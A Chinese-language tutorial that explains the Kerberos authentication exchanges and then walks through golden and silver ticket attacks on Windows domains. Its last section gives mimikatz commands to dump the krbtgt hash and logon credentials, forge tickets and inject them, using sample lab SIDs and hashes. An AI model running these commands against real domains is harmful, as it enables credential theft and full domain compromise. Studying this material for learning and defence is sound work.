Kerberos与票据的爱情故事

0x01.Kerberos认证原理

Kerberos是一种认证机制。目的是通过密钥系统为客户端/服务器应用程序提供强大的可信任的第三方认证服务：
保护服务器防止错误的用户使用，同时保护它的用户使用正确的服务器，即支持双向验证。kerberos最初由MIT
麻省理工开发，微软从Windows 2000开始支持Kerberos认证机制，将kerberos作为域环境下的主要身份认证
机制，理解kerberos是域渗透的基础。

0x02. kerberos认证框架

kerberos机制中主要包含三个角色：Client、Server、KDC(Key Distribution Center)密钥分发中心。
Client代表用户，用户有自己的密码，Server上运行的服务也有自己的密码，KDC是受信任的三方认证中心，
它拥有用户和服务的密码信息。

KDC服务默认会安装在域控中，Client想要访问Server的服务（xxx service），前提是通过KDC认证，再
由KDC发放的票据决定Client是否有权限访问Server的服务

铺垫小知识：

KDC(Key Distribution center)： 密钥分发中心，在域环境中，KDC服务默认会安装在域控中。
AS(Authentication Service)： 认证服务，验证client的credential(身份认证信息)，发放TGT。
TGT(Ticket Granting ticket)： 票据授权票据，由KDC的AS发放，客户端获取到该票据后，以后申请其他应用的服务票据(ST)时，就不需要向KDC的AS提交身份认证信息(credential)，TGT具有一定的有效期。由 KBRTGT HASH 加密的 sessionkey-as 和 Timestamp 等信 息
TGS(Ticket Granting Service)： 票据授权服务，验证TGT，发放ST。
ST(Service Ticket)： 服务票据，由KDC的TGS发放，是客户端应用程序访问Server某个服务的凭证，Server端验证通过则完成Client与Server端信任关系的建立。

Session key: 用来加密client和TGS之间传输的数据。
Server session key: 用来加密client和server之间传输的数据。

首先Client想要访问Server的某个服务，就需要通过KDC的认证，获取到服务票据（ST），
服务会验证服务票据（ST）来判断Client是否通过了KDC认证。为了避免Client每次
访问Server的服务都要向KDC认证(输入密码)，KDC设计时分成了两个部分，一个是AS，另一个是TGS;
AS接收Client的认证信息，认证通过后给Client发放一个可重复使用的票据TGT，后续Client使用这个TGT向TGS请求ST即可

这是一个简单的认证流程

0x03. 详细认证流程

The Authentication Service Exchange（认证服务器）：
Client 与 AS 的交互AS_REQ•AS_REP

Ticket-Granting Service (TGS) Exchange（票据授予服务器）：
Client 与 TGS 的交互 TGS_REQ•TGS_REP

The Client/Server Authentication Exchange（pc和要访问的服务）：
Client 与 Server 的交互 AP_REQ•AP_REP

第一步 Client 与 AS 的交互

用户登录阶段，通常由用户(admin)输入[用户名][密码]信息，在客户端侧，用户输入的密码信息被一个单向 Hash 函数生成 Client 密钥，即 admin 的 NTLM Hash：

Pre-authentication data: 就是用client对应的master key加密了一个timestamp。
Client info: client用户信息
Server info: 这里并不是Client真正要访问的Server的名称，实际上是KDC的Ticket Granting Service的Server Name。

AS_REQ（请求）：

KDC端收到该请求后，Authentication service用client info部分信息，在AD（account database）中查询该client name对应的master key，并对pre-authentication data数据进行解密，如果可以提取出一个合法的时间戳，那就说明该用户是合法的，验证通过，并回复KRB_AS_REP给client。

AS_REP（返回）
AS 收到用户认证请求后，AS 根据请求中的 用户名 AA 信息，从数据库中查找用户名是否存在。如果 用户名 AA 存在，则从 KDC 中可以获取 用户 AA 的密码，使用单向函数为该密码生成一个 Client 密钥（即NTLM Hash）。AS 生成随机字符串 Client/TGS Session Key，使用 Client 密钥(用户 AA 的密码 NTLM Hash)对 Client/TGS Session Key 加密得到 sessionkey_as；
再使用 TGS 密钥(krbtgt 用户的 NTLM Hash)对 Client/TGS Session Key 、 Client Info 和 Timestamp 加密,得到 TGT（TGT票据）。
将 sessionkey_as 和 TGT 一起返回给 Client。
Client 收到 AS 的响应消息后，利用自身的 Client 密钥（AA 的 NTLM Hash）对sessionkey_as 解密，这样就获取到 Client/TGS Session Key。

在 KDC 中存储了域中所有用户的密码 hash，当 AS 接受到 Client 的请求后会根据 KDC 中存储的密码来解密，解密成功并且验证信息。验证成功后返回给 Client 由 Client 密码 hash 加密的 sessionkey-as 和 TGT

总体来说，KRB_AS_REP分为两部分：
1、 用client master key对session key进行加密后的值。Session key是KDC随机生成的UUID，用于client和TGS服务之间的数据加密、认证。
2、 用KDC master key值对TGT进行加密。这部分client解不了。由此处也可以看出，TGT包括三个部分，分别是session key、client name、end time。
（当响应信息里面有KDC Hash，即可伪造黄金票据）

第二步、Client 与 TGS 的交互

当client端接收到AS_REP时，client使用client master key对KRB_AS_REP的第一部分信息进行解密，得到session key，并再次拼装出TGS_REQ请求体，向KDC的TGS发出请求

请求结构如下，TGS_REQ请求体包括：Session key(client info+时间戳)、TGT、client info、server info；

其中，server info就是该client真正要访问的server，步骤一AS_REQ中的不一样；】
TGS-REQ（请求）：
当TGS服务收到到client请求体KRB_TGS_REQ时，因为TGS端并没有session key，只能先利用TGS的master key去解TGT部分内容，得到session key，再去解Session key(client info+时间戳)部分，从而验证该用户是否是AS颁发给该client的。验证通过后，给client回复KRB_TGS_REP给client

TGS-REP（返回）：
TGS 收到请求后，检查 KDC 数据库中是否存在所请求的服务(Service ID)。如果存在，TGS 使用 TGS 密钥(krbtgt 的 NTLM Hash)解密 TGT，得到 Client/TGS Session Key、timestamp、Client info；同时使用从 TGT 中解密得到的 Client/TGS Session Key去解密 Authenticator2，得到 Client info 和 timestamp。比对 Authenticator2 和TGT 的解密内容以验证通过。
•TGS 比对 Authenticator2 包含的 Client ID 和 TGT 中的 Client ID•比较时间戳（误差范围在2分钟）•通过生命周期字段检查 TGT 是否过期•检查 Authenticator2 已经不再 TGS 的缓存中•若原始请求中的网络地址不为 NULL，比较 TGT 中的 IP 和请求的 IP
验证成功后，随机生成 Client 所请求服务的会话密钥 Client/Server Session Key；
使用 Server 密钥（即服务器计算机的NTLM Hash）对 Client/Server Session Key、Client Info（包含 Client ID）、TimeStamp 加密得到 Client-To-Server Ticket（也称为 ST 票据）；
使用 Client/TGS Session Key 对 Client/Server Session Key 加密得到sessionkey_tgs
最终将 Client-To-Server Ticket、sessionkey_tgs 返回给 Client。

第三步

Client 向 SS(Service Server)发送服务请求
AP-REQ：
Client 收到 Client-To-Server Ticket、sessionkey_tgs 之后，使用Client/TGS Session Key 对 sessionkey_tgs 解密得到 Client/Server Session Key,然后使用 Client/Server Session Key 对 Client Info 和 timestamp 加密得到Authenticator3；将 Authenticator3 和 Client-To-Server Ticket 发送给所请求服务的服务器(Service Server)。

Service Server 响应 Client

Service Server 收到客户端的服务访问请求之后，利用 Server 密钥(Server 的 ntlm Hash)对 Client-To-Server Ticket 解密，提取出 Client/Server SessionKey、Client ID 等信息。Service Server 使用 Client/Server SessionKey 对 Authenticator3 解密得到 Client ID 和 TimeStamp。

Service Server 发送最后的验证消息——用 Client/Server SessionKey 加密的 Timestamp 和 Service ID 数据包给 Client。
Client 收到之后，使用缓存的 Client/Server SessionKey 解密提取 Timestamp 信息，然后确认该信息与 Client 发送的 Authenticator3 中的 Timestamp 信息是否一致。验证通过后，在定义的通讯周期内，Client 可以使用票据请求 Service。

总结

第一步（返回TGT）：

AS 的响应消息中有一条是属于 Client 的，有一条是 TGS 的。•TGT 的到期时间为 8 小时，如果超过了 8 小时，还需要重新申请 TGT，不能之间进入下一步获取 Ticket。
•KDC 返回的 TGT 客户端是无法解密的，因为它没有 KDC Hash，如果有，我们就可以伪造黄金票据

第二步：

认证通过后TGS生成使用Logon Session Key（SKDC-Client）加密过用于Client和Server之间通信的Session Key（SServer-Client），Server的Master Key进行加密的ST(Service Ticket)

(1).经过 Logon session key加密的Client和Server之间的Session Key
(2).经过Server的Master Key进行加密的ST(Service Ticket)。

Ticket大体包含以下一些内容：
Session Key（SServer-Client）
Domain name\Client。
Ticket的到期时间。

Client 收到TGS的响应，使用 Logon session key，解密第一部分后获得 Session Key （注意区分 Logon Session Key 与 Session Key 分别是什么步骤获得的，及其的区别）。有了 Session Key 和 ST(Service Ticket)， Client 就可以直接和 Server 进行交互，而无须在通过 KDC 作中间人了。

第三步：

白银票据不与KDC交互，伪造Ticket直接与 Service server进行交互，看下第三步Client和Server认证中的请求

Server接收到客户端的数据包后，使用自己的密码Hash解密 Ticket 得出 session key，再使用 session key
解密Authenticator和timestamp即可通过验证，所以我们只需要知道 server 用户的hash可以伪造出一个 ticket，这就是白银票据

0x04. 票据传递攻击

这里介绍域内常用的两种攻击方式：黄金票据Golden ticket、白银票据SILVER TICKET

1、黄金票据Golden ticket

原理：
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,
而Logon Session Key并不会保存在KDC中，krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash（也就是KDC hash），就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,
不用验证账户和密码,所以也不担心域管密码修改。

如下图所示，与域控制器没有AS-REQ或AS-REP（步骤1和2）通信。由于黄金票据是伪造的TGT，它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。

特点：不需要与AS进行交互，需要用户krbtgt的Hash

黄金票据的条件要求：
1.域名称
2.域的SID 值
3.域的KRBTGT账户NTLM密码哈希

第一步：
先使用 mimikatz抓去krbtgt的hash
lsadump::dcsync /user:krbtgt

提取出里面的sid和NTLM hash

SID: S-1-5-21-4098506371-3349406080-1400905760
NTLM Hash: 9f7afad7acc9f72b7e338b908795b7da

kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-1720693672-3610745784-2269473857 /krbtgt:1176ad25a126d316ed5ea4b60b3d71dd /ticket:administrator.kiribi [制作票据]

kerberos::golden /admin:需要伪造的用户名 /domain:域名 /sid:sid /krbtgt:krbtgt的ntml hash /ticket:administrator.kiribi

/ticke参数是要存储的名字，方便后面导入

kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi

这时候创建成功了，会保存到桌面上

最后使用 kerberos::ptt administrator.kiribi 去加载票据
也可以使用 klist 去查看是否加载成功

没有成功是这样（因为我忘记截成功的图了）

白银票据

原理：
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部，Client带着ST和Authenticator3向Server上的某个服务进行请求，Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

特点
1.不需要与KDC进行交互 2.需要server的NTLM hash

第一步：上传mimikatz到桌面

执行命令 mimikatz64.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

当然，也可以分依次执行

银票和金票差不多，需要sid和hash

使用方法：
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择，因为我们没有TGT去不断申请ticket，所以只能针对某一些服务来进行伪造

构造好payload
kerberos::golden /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /target:DC.zkaq.cn /service:cifs /rc4:9f7afad7acc9f72b7e338b908795b7da /user:test /ptt